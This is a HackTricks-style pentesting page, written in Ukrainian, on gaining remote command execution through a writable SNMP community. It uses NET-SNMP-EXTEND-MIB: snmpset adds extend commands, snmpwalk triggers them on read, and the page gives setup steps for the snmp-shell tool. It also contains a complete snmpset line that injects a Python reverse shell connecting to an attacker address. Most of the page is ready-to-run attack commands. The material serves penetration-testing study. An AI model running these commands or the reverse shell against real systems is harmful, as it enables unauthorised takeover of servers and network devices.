SNMP RCE

Support HackTricks

SNMP RCE

SNMP може бути використано зловмисником, якщо адміністратор не звертає уваги на його стандартну конфігурацію на пристрої або сервері. Зловмисник може виконувати команди на сервері, зловживаючи SNMP-спільнотою з правами запису (rwcommunity) на операційній системі Linux.

Розширення послуг додатковими командами

Щоб розширити SNMP-послуги та додати додаткові команди, можна додати нові рядки до таблиці "nsExtendObjects". Це можна зробити, використовуючи команду snmpset і надаючи необхідні параметри, включаючи абсолютний шлях до виконуваного файлу та команду, яка має бути виконана:

snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c c0nfig localhost \
'nsExtendStatus."evilcommand"' = createAndGo \
'nsExtendCommand."evilcommand"' = /bin/echo \
'nsExtendArgs."evilcommand"' = 'hello world'

Впровадження команд для виконання

Впровадження команд для виконання на службі SNMP вимагає наявності та можливості виконання викликаного бінарного файлу/скрипта. NET-SNMP-EXTEND-MIB вимагає надання абсолютного шляху до виконуваного файлу.

Щоб підтвердити виконання впровадженої команди, можна використовувати команду snmpwalk для перерахунку служби SNMP. вихідні дані відобразять команду та її супутні деталі, включаючи абсолютний шлях:

snmpwalk -v2c -c SuP3RPrivCom90 10.129.2.26 NET-SNMP-EXTEND-MIB::nsExtendObjects

Виконання Впроваджених Команд

Коли впроваджена команда читається, вона виконується. Ця поведінка відома як run-on-read(). Виконання команди можна спостерігати під час читання snmpwalk.

Отримання Shell Сервера за Допомогою SNMP

Щоб отримати контроль над сервером і отримати shell сервера, можна використовувати скрипт на python, розроблений mxrch, з https://github.com/mxrch/snmp-shell.git.

Альтернативно, реверсний shell можна створити вручну, впровадивши конкретну команду в SNMP. Ця команда, активована snmpwalk, встановлює з'єднання реверсного shell з машиною атакуючого, що дозволяє контролювати машину жертви. Ви можете встановити попередні вимоги для запуску цього:

sudo apt install snmp snmp-mibs-downloader rlwrap -y
git clone https://github.com/mxrch/snmp-shell
cd snmp-shell
sudo python3 -m pip install -r requirements.txt

Або зворотний шелл:

snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c SuP3RPrivCom90 10.129.2.26 'nsExtendStatus."command10"' = createAndGo 'nsExtendCommand."command10"' = /usr/bin/python3.6 'nsExtendArgs."command10"' = '-c "import sys,socket,os,pty;s=socket.socket();s.connect((\"10.10.14.84\",8999));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"'

References

Підтримайте HackTricks

Last updated